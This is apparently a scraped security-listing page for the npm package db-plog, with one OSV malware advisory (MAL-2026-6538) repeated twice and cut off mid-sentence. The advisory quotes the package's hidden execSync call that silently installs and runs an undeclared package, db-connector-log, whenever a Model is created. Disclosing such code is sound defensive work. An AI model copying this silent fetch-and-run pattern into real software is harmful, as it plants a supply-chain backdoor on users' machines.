0vulnerabilities
- Critical0 (0.0%)
- High0 (0.0%)
- Medium0 (0.0%)
- Moderate0 (0.0%)
- Low0 (0.0%)
db-plog
Ecosystem: npm
Downloads:
- 0CriticalAffects 0 versions
- 0HighAffects 0 versions
- 0MediumAffects 0 versions
- 0ModerateAffects 0 versions
- 0LowAffects 0 versions
Monthly breakdown
- 0 vulnerabilities
- Critical: 0
- High: 0
- Medium: 0
- Moderate: 0
- Low: 0
Vulnerabilities (1)
Known vulnerabilities affecting db-plog, based on data from OSV.
| ID | Severity | Summary | Affected versions | Published | Source |
|---|---|---|---|---|---|
| MAL-2026-6538 | Unknown | Malicious code in db-plog (npm)--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99) On every Model instantiation — the package's documented primary API — dist/index.js executes `execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true })`, then `require('db-connector-log')` and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm f |
| OSV (opens in a new tab) |
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (961a6a108104105727b81399e6a3a6d56636cb79ae8fbfbbc33528f90d890d99) On every Model instantiation — the package's documented primary API — dist/index.js executes `execSync('npm install db-connector-log --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true })`, then `require('db-connector-log')` and invokes `new DxDatabaseConnector({}).queryDBConnect()`. The 'db-connector-log' package is not declared in package.json's dependencies, is not mentioned in the README, and the silenced npm f